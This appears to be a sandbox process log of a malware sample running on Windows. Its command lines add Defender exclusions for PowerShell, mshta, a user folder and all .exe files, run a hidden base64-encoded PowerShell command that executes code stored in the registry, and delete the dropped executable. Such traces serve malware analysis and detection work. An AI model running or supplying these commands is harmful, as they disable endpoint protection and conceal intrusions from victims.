powershell.exe "powershell.exe" -inputformat none -outputformat none -NonInteractive -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath 'C:\Users\test22'
2616powershell.exe "powershell.exe" Set-MpPreference -ControlledFolderAccessAllowedApplications "C:\Windows\System32\mshta.exe"
2756powershell.exe "powershell.exe" Add-MpPreference -ExclusionProcess "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
2828powershell.exe "powershell.exe" -Command "Add-MpPreference -ExclusionExtension '.exe'"
2864powershell.exe "powershell.exe" Add-MpPreference -ExclusionProcess "C:\Windows\System32\mshta.exe"
2792powershell.exe "powershell" -nop -ep bypass -w hidden -Command Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('SW52b2tlLUV4cHJlc3Npb24gKChHZXQtSXRlbVByb3BlcnR5ICJIS0NVOlxTb2Z0d2FyZVxNeVNvZnR3YXJlIikuTXlDb21tYW5kKQ==')))
800cmd.exe "cmd.exe" /C timeout 1 && del "C:\Users\test22\AppData\Local\Temp\propertyconcentrate.exe"
2212timeout.exe timeout 1
2488